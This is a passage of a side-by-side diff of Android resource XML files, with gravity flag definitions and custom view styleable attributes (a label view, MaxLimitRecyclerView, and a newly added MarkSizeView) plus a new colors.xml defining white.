14 <!-- Push object to the bottom of its container, not changing its size. --> 14 <!-- Push object to the bottom of its container, not changing its size. -->
15 <flag name="bottom" value="0x50" /> 15 <flag name="bottom" value="0x50" />
16 <!-- Push object to the left of its container, not changing its size. --> 16 <!-- Push object to the left of its container, not changing its size. -->
17 <flag name="left" value="0x03" /> 17 <flag name="left" value="0x03" />
18 <!-- Push object to the right of its container, not changing its size. --> 18 <!-- Push object to the right of its container, not changing its size. -->
19 <flag name="right" value="0x05" /> 19 <flag name="right" value="0x05" />
20 <!-- Place object in the vertical center of its container, not changing its size. --> 20 <!-- Place object in the vertical center of its container, not changing its size. -->
21 <flag name="center_vertical" value="0x10" /> 21 <flag name="center_vertical" value="0x10" />
22 <!-- Grow the vertical size of the object if needed so it completely fills its container. --> 22 <!-- Grow the vertical size of the object if needed so it completely fills its container. -->
23 <flag name="fill_vertical" value="0x70" /> 23 <flag name="fill_vertical" value="0x70" />
24 <!-- Place object in the horizontal center of its container, not changing its size. --> 24 <!-- Place object in the horizontal center of its container, not changing its size. -->
25 <flag name="center_horizontal" value="0x01" /> 25 <flag name="center_horizontal" value="0x01" />
26 <!-- Grow the horizontal size of the object if needed so it completely fills its container. --> 26 <!-- Grow the horizontal size of the object if needed so it completely fills its container. -->
27 <flag name="fill_horizontal" value="0x07" /> 27 <flag name="fill_horizontal" value="0x07" />
28 <!-- Place the object in the center of its container in both the vertical and horizontal axis, not changing its size. --> 28 <!-- Place the object in the center of its container in both the vertical and horizontal axis, not changing its size. -->
29 <flag name="center" value="0x11" /> 29 <flag name="center" value="0x11" />
30 <!-- Grow the horizontal and vertical size of the object if needed so it completely fills its container. --> 30 <!-- Grow the horizontal and vertical size of the object if needed so it completely fills its container. -->
31 <flag name="fill" value="0x77" /> 31 <flag name="fill" value="0x77" />
32 <!-- Additional option that can be set to have the top and/or bottom edges of 32 <!-- Additional option that can be set to have the top and/or bottom edges of
33 the child clipped to its container's bounds. 33 the child clipped to its container's bounds.
34 The clip will be based on the vertical gravity: a top gravity will clip the bottom 34 The clip will be based on the vertical gravity: a top gravity will clip the bottom
35 edge, a bottom gravity will clip the top edge, and neither will clip both edges. --> 35 edge, a bottom gravity will clip the top edge, and neither will clip both edges. -->
36 <flag name="clip_vertical" value="0x80" /> 36 <flag name="clip_vertical" value="0x80" />
37 <!-- Additional option that can be set to have the left and/or right edges of 37 <!-- Additional option that can be set to have the left and/or right edges of
38 the child clipped to its container's bounds. 38 the child clipped to its container's bounds.
39 The clip will be based on the horizontal gravity: a left gravity will clip the right 39 The clip will be based on the horizontal gravity: a left gravity will clip the right
40 edge, a right gravity will clip the left edge, and neither will clip both edges. --> 40 edge, a right gravity will clip the left edge, and neither will clip both edges. -->
41 <flag name="clip_horizontal" value="0x08" /> 41 <flag name="clip_horizontal" value="0x08" />
42 <!-- Push object to the beginning of its container, not changing its size. --> 42 <!-- Push object to the beginning of its container, not changing its size. -->
43 <flag name="start" value="0x00800003" /> 43 <flag name="start" value="0x00800003" />
44 <!-- Push object to the end of its container, not changing its size. --> 44 <!-- Push object to the end of its container, not changing its size. -->
45 <flag name="end" value="0x00800005" /> 45 <flag name="end" value="0x00800005" />
46 </attr> 46 </attr>
47 47
48 <attr name="maxSelect" format="integer" /> 48 <attr name="maxSelect" format="integer" />
49 <attr name="minSelect" format="integer" /> 49 <attr name="minSelect" format="integer" />
50 <attr name="maxLines" format="integer" /> 50 <attr name="maxLines" format="integer" />
51 <attr name="maxColumns" format="integer" /> 51 <attr name="maxColumns" format="integer" />
52 <attr name="isIndicator" format="boolean" /> 52 <attr name="isIndicator" format="boolean" />
53 <attr name="labelTextColor" format="reference|color" /> 53 <attr name="labelTextColor" format="reference|color" />
54 <attr name="labelTextSize" format="dimension" /> 54 <attr name="labelTextSize" format="dimension" />
55 <attr name="labelTextWidth" format="dimension"> 55 <attr name="labelTextWidth" format="dimension">
56 <enum name="fill_parent" value="-1" /> 56 <enum name="fill_parent" value="-1" />
57 <enum name="match_parent" value="-1" /> 57 <enum name="match_parent" value="-1" />
58 <enum name="wrap_content" value="-2" /> 58 <enum name="wrap_content" value="-2" />
59 </attr> 59 </attr>
60 <attr name="labelTextHeight" format="dimension"> 60 <attr name="labelTextHeight" format="dimension">
61 <enum name="fill_parent" value="-1" /> 61 <enum name="fill_parent" value="-1" />
62 <enum name="match_parent" value="-1" /> 62 <enum name="match_parent" value="-1" />
63 <enum name="wrap_content" value="-2" /> 63 <enum name="wrap_content" value="-2" />
64 </attr> 64 </attr>
65 <attr name="labelTextPadding" format="dimension" /> 65 <attr name="labelTextPadding" format="dimension" />
66 <attr name="labelTextPaddingLeft" format="dimension" /> 66 <attr name="labelTextPaddingLeft" format="dimension" />
67 <attr name="labelTextPaddingTop" format="dimension" /> 67 <attr name="labelTextPaddingTop" format="dimension" />
68 <attr name="labelTextPaddingRight" format="dimension" /> 68 <attr name="labelTextPaddingRight" format="dimension" />
69 <attr name="labelTextPaddingBottom" format="dimension" /> 69 <attr name="labelTextPaddingBottom" format="dimension" />
70 <attr name="lineMargin" format="dimension" /> 70 <attr name="lineMargin" format="dimension" />
71 <attr name="wordMargin" format="dimension" /> 71 <attr name="wordMargin" format="dimension" />
72 <attr name="labelBackground" format="reference|color" /> 72 <attr name="labelBackground" format="reference|color" />
73 <attr name="singleLine" format="boolean" /> 73 <attr name="singleLine" format="boolean" />
74 <attr name="isTextBold" format="boolean" /> 74 <attr name="isTextBold" format="boolean" />
75 </declare-styleable> 75 </declare-styleable>
76 <declare-styleable name="MaxLimitRecyclerView"> 76 <declare-styleable name="MaxLimitRecyclerView">
77 <attr name="limit_maxHeight" format="reference|dimension" /> 77 <attr name="limit_maxHeight" format="reference|dimension" />
78 <attr name="limit_maxWidth" format="reference|dimension" /> 78 <attr name="limit_maxWidth" format="reference|dimension" />
79 </declare-styleable> 79 </declare-styleable>
80
81 <declare-styleable name="MarkSizeView">
82 <attr name="markedColor" format="color" />
83 <attr name="unMarkedColor" format="color" />
84 <attr name="strokesColor" format="color" />
85 <attr name="strokeWidth" format="dimension" />
86 <attr name="vertexColor" format="color" />
87 <attr name="vertexWidth" format="dimension" />
88 <attr name="confirmButtonRes" format="reference" />
89 <attr name="cancleButtonRes" format="reference" />
90 <attr name="backGroundRes" format="reference" />
91 </declare-styleable>
80 </resources> 92 </resources>
81 93
libs/common/src/main/res/values/colors.xml
File was created 1 <?xml version="1.0" encoding="utf-8"?>
2 <resources>
3 <color name="white">#FFFFFF</color>
4 </resources>